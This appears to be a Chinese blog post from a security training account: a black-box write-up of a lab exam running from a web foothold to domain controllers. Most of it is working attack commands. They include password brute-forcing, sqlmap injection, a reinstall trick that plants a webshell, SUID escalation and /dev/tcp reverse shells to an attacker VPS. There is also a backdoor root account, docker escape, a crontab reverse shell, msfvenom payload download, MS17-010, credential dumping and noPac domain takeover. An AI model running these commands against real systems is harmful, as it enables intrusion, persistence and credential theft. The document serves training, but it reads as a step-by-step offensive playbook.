nasa靶场是综合考核学员能力的项目,主要是考核 外网打点到渗透内网域控的综合能力。
操作系统 包括 linux windows 同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合行的渗透测试,最终夺取各个服务器的权限。
这涉及代码审计 外网打点 多种漏洞配合拿webshell,linux提权 docker逃逸,内网常见漏洞模块利用,内网漫游、域权限的获取等技术。考核任务如下
本次考核难度为简单到中级
这次考核人数共60人 出师7人 因为不是单个模块的考核,所以通过考核的人员不会太多,但考核出来的成员,渗透测试技能都是扎实和过关的。
需要渗透测试培训可以私聊暗月
以下是培训联系的微信
暗月 2022年1月考核项目NASA1文章
这篇文章完全是黑盒情况下测试的
一、外网打点
常规套路走一下,nmap端口扫描
nmap -T4 -A -v -Pn 103.xxx.xxx.1
看这个扫描结果应该是做的映射
PORT STATE SERVICE VERSION
53/tcp closed domain
80/tcp open tcpwrapped
|http-methods:
|_ Supported Methods: OPTIONS
3389/tcpopen tcpwrapped
|ssl-cert: Subject: commonName=SBrYse1001582
|Issuer: commonName=SBrYse1001582
|Public Key type: rsa
|Public Key bits: 2048
|Signature Algorithm: sha256WithRSAEncryption
|Not valid before: 2022-01-07T02:49:32
|Not valid after: 2022-07-09T02:49:32
|MD5: 22ec 40a4 08f4 efed da17 9af8 d840 42a7
|_SHA-1:fb30 c000 ffa9 2c80 3786 afe8 e0f8 6f76 086d 8413
dirsearch目录扫描,看看会不会有网站后台惊喜
直接扫会提示连接失败,应该是线路原因,月师傅这台机器肯定是xxxx哈哈哈哈哈哈哈
加个代理扫描目录
proxy dirsearch -u http://103.xxx.xxx.19/
Get 后台地址
后台地址:http://103.xxx.xxx.19/admin/webadmin.php?mod=do&act=login
测试登录处验证码可复用
后台验证码复用&管理员弱口令
一波弱口令无果,生成定向社工字典试试
社工字典在线生成https://www.ddosi.org/pass8/
moon就是暗月、moonsec是暗月安全(公众号)、nasa是本次项目名称
burp爆破
wtmfuck?项目名+123就是密码
成功登录后台
后台地址:http://103.xxx.xxx.19/admin/webadmin.php?mod=do&act=login admin/nasa123
针对后台的功能点进行测试
找到几处文件上传,但是应该是传不了的(是我菜吧)
其它好像也没什么东西,根据后台页面标题可以知道这个系统叫逍遥商城系统,那么可以看看网上是不是有源代码,有的话可以审计一波
运气很好,看到一篇别人对此系统的审计文章:https://www.jianshu.com/p/d5a180ebeb7e
根据这篇审计文章可以得知这套系统可能有两个漏洞
1、后台任意文件删除
2、后台盲注
别问我为什么不自己审一下(我感觉我审不出来哈哈哈哈哈)
并且作者很贴心的给出了目录结构
├── admin---后台管理目录
├──api.php ---api入口文件
├──attachment ---图片等文件存放目录
├──cache ---缓存文件目录
├──common.php
├──config.php ---配置文件
├──data ---备份文件等目录
├──hook ---hook文件
├──httpd.ini
├──index.php ---主页入口
├──install ---安装文件
├──module --主页模块文件
├──public --公共资源
├──template ---前端文件
├──user.php --user模块入口
那就一个一个看一下了,直到“install---安装文件”这个文件这里,出现一个提示
好家伙,如果存在这个文件,再结合后台任意文件删除漏洞不就可以重装这个系统了?但是我没有决定那么做,这样动静比较大,我们先去看看那个盲注,看看能不能利用
其中一处sql注入位于改变商品状态处(上架商品、下架商品)
完整数据包
POST /admin/webadmin.php?mod=product&act=state&state=2&token=5eb7f4f216b7203866316713e34c055cHTTP/1.1
Host:103.117.136.19
Content-Length:859
Cache-Control:max-age=0
Upgrade-Insecure-Requests:1
Origin:http://103.117.136.19
Content-Type:application/x-www-form-urlencoded
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:http://103.117.136.19/admin/webadmin.php?mod=product
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.9,en;q=0.8
Cookie:PHPSESSID=gkg87v4rkqoaarr3tnqsga89k5
Connection:close
product_id%5B%5D=1*&product_order%5B69%5D=10000&product_order%5B68%5D=10000&product_order%5B67%5D=10000&product_order%5B66%5D=10000&product_order%5B65%5D=10000&product_order%5B64%5D=10000&product_order%5B63%5D=10000&product_order%5B62%5D=10000&product_order%5B61%5D=10000&product_order%5B60%5D=10000&product_order%5B59%5D=10000&product_order%5B58%5D=10000&product_order%5B57%5D=10000&product_order%5B56%5D=10000&product_order%5B55%5D=10000&product_order%5B54%5D=10000&product_order%5B53%5D=10000&product_order%5B52%5D=10000&product_order%5B51%5D=10000&product_order%5B50%5D=10000&product_order%5B49%5D=10000&product_order%5B48%5D=10000&product_order%5B47%5D=10000&product_order%5B46%5D=10000&product_order%5B45%5D=10000&product_order%5B44%5D=10000&product_order%5B43%5D=10000&product_order%5B42%5D=10000&product_order%5B41%5D=10000&product_order%5B40%5D=10000
sqlmap一把嗦
DBA权限
但是osshell失败了,file-write也写不进去,猜测可能是站裤分离或者是路径不对,那就只能重装这个管理系统了
重装漏洞Getshell
结合任意文件删除漏洞去把install.lock文件删除掉,再重装
任意文件删除存在于数据库备份这个功能点,点击删除进行抓包
修改dbname参数
dbname=../../install/install.lock
修改完放包即可删除install.lock文件,然后进行重装
这里如果服务器地址填127.0.0.1的话,那么密码为空就可以安装了(可能本地mysql没密码的)数据表前缀这里进行闭合,这里的配置会被写进当前目录下的config.php文件,因此闭合之后,我们的一句话也被写到了config.php文件中
蚁剑连接即可
二、内网横向
主机信息收集
传个马上哥斯拉
www-data权限,ip:172.17.0.2
使用哥斯拉自带的功能开启一个超级终端(交互式终端)
uname-a #查看内核版本信息
看这主机名有点像docker
www-data@cbdf426e3ff6
ls-alh /.dockerenv #确认是不是docker环境原文链接:https://blog.csdn.net/ternence_hsu/article/details/100678307
好,ztm是个docker
Docker 逃逸
当操作者执行dockerrun--privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
需要先将www-data提权至root,这台机器可以suid提权
查找具有SUID权限位文件
find/ -user root -perm -4000 -print 2>/dev/null
find/ -perm -u=s -type f 2>/dev/null
find/ -user root -perm -4000 -exec ls -ldb {} ;
SUID find提权
find. -exec /bin/bash -p ; -quit #返回root权限的bash
哥斯拉这个终端反应太慢了,bash反弹到自己vps操作
nc-lvp 9999 #攻击机监听
bash-c 'exec bash -i &>/dev/tcp/xxx.xx.x.146/9999 <&1' #反弹shell
find. -exec /bin/bash -p ; -quit #find提权
python-c 'import pty; pty.spawn("/bin/bash")' #返回一个交互式shell
find. -exec /bin/bash -p ; -quit #find再提权一次
添加一个root权限的账户
openssl passwd -1 -salt rootd 123456
echo'rootd:$1$rootd$.qpJYqSQfSiIXrtV53AZL1:0:0:root:/root:/bin/bash' >>/etc/passwd
检查是否写入
切换用户,获得root权限,然后docker逃逸
su root d #password:123456
mkdir test #创建一个目录test
mount /dev/sda1 /test #挂载宿主机磁盘到新建目录test
chroot /test #切换根目录
cat /etc/passwd #查看宿主机passwd文件
计划任务反弹宿主机shell
在挂载的宿主机tmp目录下写一个反弹shell脚本
echo'#!/bin/bash' > sl.sh
echo'/bin/bash -i >& bash -i >& /dev/tcp/xxx.xx.x.146/99980>&1' >> sl.sh
写入计划任务
sed -i '$a*/1 * * * * root bash /tmp/sl.sh ' /etc/crontab
获得宿主机shell
msf设置监听,生成反向后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xx.x.xxx LPORT=9997 -felf > test.elf
python开启一个简单的http服务
python3 -m http.server
受害机有wget工具,使用wget远程下载后门文件
wget http://159.xx.x.xxx:8000/test.elf
受害机执行恶意后门,msf获得反弹会话
信息收集一波
ifconfig
有一个段192.168.59.198/24
route
KernelIP routing table
Destination Gateway Genmask Flags Metric Ref UseIface
default _gateway 0.0.0.0 UG 100 0 0ens33
link-local 0.0.0.0 255.255.0.0 U 1000 0 0ens33
172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0docker0
192.168.59.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
Frp代理
frps
[common]
bind_ip= xxx.xx.x.xx6
bind_port= 7777
frpc
[common]
server_addr= xxx.xx.x.xx6
server_port= 7777
[socks_proxy]
type= tcp
remote_port= 8888
plugin= socks5
攻击机配置proxychains
socks5 159.x.x.x 8888
传个fscan扫一波内网
fscan -h 192.168.59.0/24 -o res.txt
192.168.59.197:139open
192.168.59.144:139 open
192.168.59.197:135 open
192.168.59.144:135 open
192.168.59.1:139 open
192.168.59.1:135 open
192.168.59.144:80 open
192.168.59.198:80 open
192.168.59.197:445 open
192.168.59.1:10001 open
192.168.59.144:445 open
NetInfo:
[*]192.168.59.197
[->]win7
[->]10.10.10.142
[->]192.168.59.197
NetInfo:
[*]192.168.59.1
[->]W10ZJ-2020PWKVD
[->]10.10.10.1
[->]192.168.64.1
[->]192.168.116.1
[->]192.168.59.1
[->]192.168.22.1
[->]61.100.100.1
[->]172.16.0.1
[->]10.10.2.1
[->]192.168.0.111
NetInfo:
[*]192.168.59.144
[->]win2003
[->]10.10.10.137
[->]192.168.59.144
[*]192.168.59.1 WORKGROUPW10ZJ-2020PWKVD
[*]WebTitle:http://192.168.59.144 code:200 len:1193 title:None
[*]WebTitle:http://192.168.59.198 code:200 len:31 title:逍遥B2C商城系统演示站
[*]192.168.59.197 __MSBROWSE__WIN7 Windows 7Ultimate 7601 Service Pack 1
[*]192.168.59.144 __MSBROWSE__WIN2003 Windows Server2003 3790 Service Pack 2
[+]192.168.59.197 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)
[+]192.168.59.144 MS17-010 (Windows Server 2003 3790 Service Pack 2)
有两台windows存在ms17-010,这没啥好说的,直接掏出msf打就可以
search ms17-010
set payload windows/x64/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport 8989
set Proxies socks5:ip:port #给msf设置代理
set ReverseAllowProxy true #允许反向代理
192.168.59.197 MS17-010 (Windows 7Ultimate 7601 Service Pack 1) 这台win7拿下
Cobalt Strike 上线
查询有无杀软
tasklist/svc
很好,啥也没有,那么cspowershell 直接上线就完事了
域内信息收集
发现存在一个nasa.gov的域
DNS有两个地址
10.10.10.140
10.10.10.141
查询一下域控
net dclist
使用cs自带扫描,扫描一下存活主机以及端口
凭据信息
抓到了一个域内普通账户明文密码
nasatest:QWEasd!@#999
dumphash得到三条hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
win7:1000:aad3b435b51404eeaad3b435b51404ee:f099c4a637f9b871487bbb03962f79b5:::
win7是一个本地管理员账户,密码能撞出来
win7/admin555
CVE-2021-42278 and CVE-2021-42287 域提权上线
既然有一个普通域账户,可以试试最近的域提权漏洞CVE-2021-42278 & CVE-2021-42287
cs开一个socks4代理
socks4a7640
攻击机配置prochains
socks xxx.xxx.xxx.xxx 7640
代理
使用脚本攻击即可
工具地址:https://github.com/Ridter/noPac
AD01
proxy python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140-dc-host AD01 -shell --impersonate administrator #getshell
proxy python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140-dc-host AD01 --impersonate administrator -dump #dumphash
得到域管hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Cobalt Strike pth即可
AD02
proxy python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.141-dc-host AD02 -shell --impersonate administrator #getshell
proxy python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.141-dc-host AD02 --impersonate administrator -dump #dumphash
Cobalt Strike pth即可(我这里用的AD01的域管hash)
Flags
ubuntu
moonsec_flag{182be0c5cdcd5072bb1864cdee4d3d6e}
win7
moon_flag{0b08bd98d279b88859b628cd8c061ae0}
AD01
moonsec_flag{2181d94fba9a1d2de2b5f6fb75f8ab08}
AD02
moonsec_flag{d3eb9a9233e52948740d7eb8c3062d14}
收官
本公众号更新安全类文章 欢迎关注
如果觉得本文对你有帮助可以点赞和收藏
原文始发于微信公众号(moonsec):暗月2022年1月 NASA考核文章1
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论